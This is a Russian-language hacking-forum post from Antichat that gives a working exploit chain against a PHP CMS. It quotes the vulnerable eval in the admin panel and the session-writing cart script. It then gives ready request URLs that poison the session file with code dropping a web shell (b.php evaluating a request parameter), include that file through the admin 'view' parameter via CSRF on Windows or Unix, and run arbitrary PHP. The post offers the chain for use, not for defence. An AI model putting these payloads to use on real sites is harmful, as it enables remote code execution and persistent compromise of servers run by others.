Показать сообщение отдельно

  #17  
Старый 08.05.2010, 04:53
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Еще раз возвращаемся к єтой CMS.

Cмотрим админку в самой последней версии.
/admin/includes/cp.php
PHP код:
function cpProceedBody(){
    
    
ob_start();
    
    
$link str_replace('/'''$GLOBALS['applet']);
    
$link str_replace(':'''$link);
    
$link str_replace('-'''$link);
    
$file $link '.php';
    include(
'applets/'.$file);
    eval(
'applet_'.$link.'();');
    
    
$GLOBALS['cp_page_body'] = ob_get_clean();
    

Как видно, баг не пофиксен.

Искал уязвимости, но увилел запись в сесcию и неоставил без внимания.
/components/price/cart.php
PHP код:
    define("VALID_CMS"1);    
    
session_start();

    include(
'../../includes/config.inc.php');            //configuration
    
include('../../includes/database.inc.php');        //database connection
    
include('../../core/cms.php');                    //CMS engine
    
    
if (isset($_REQUEST['addtocart'])){
    
        if(!isset(
$_SESSION['cart'])) { session_register('cart'); $_SESSION['cart'] = array(); }
    
        foreach(
$_REQUEST as $key=>$value){
            if (
strpos($key'item')===0){
                if(isset(
$_SESSION['cart'][$value])){
                    
$_SESSION['cart'][$value] += $_REQUEST['kolvo'][$value];
                } else {
                    
$_SESSION['cart'][$value] = $_REQUEST['kolvo'][$value];
                }
            }
        }
        
header('location:/price/cart.html');
    }

    if (isset(
$_REQUEST['clearcart'])){
        
$_SESSION['cart'] = '';
        
session_unregister('cart');
        
header('location:/price/cart.html');
    } 
Результат:
Пишем в сесию выполнение eval.
PHPSESSID=c44e2475683109ef2da34559883edc2f
_http://[host]/[path]/components/price/cart.php?addtocart&item=e&kolvo[e]=<? $handle = fopen('b.php', 'w');fwrite($handle, '<? eval(stripslashes($_REQUEST[f])); ?>');fclose($handle); ?>

После CSRF в админке

Win
_http://[host]/[path]/admin/index.php?view=;include($_REQUEST[f]);rand&f=Z:\tmp\sess_c44e2475683109ef2da34559883ed c2f
Диск на винде можно, например, с константы __FILE__ выдрать.

Unix
_http://[host]/[path]/admin/index.php?view=;include($_REQUEST[f]);rand&f=/tmp/sess_c44e2475683109ef2da34559883edc2f


Имеем выполнение кода для нас
_http://[host]/[path]/admin/b.php?f=phpinfo();


плюс - не надо задевать другие ресурсы, тоесть вся информация крутиться на целевом сервере!

Можно заюзать LFI The matrix. Посмотрел в 1.5.2 файл cart.php - такой же ):

Последний раз редактировалось Strilo4ka; 08.05.2010 в 05:25..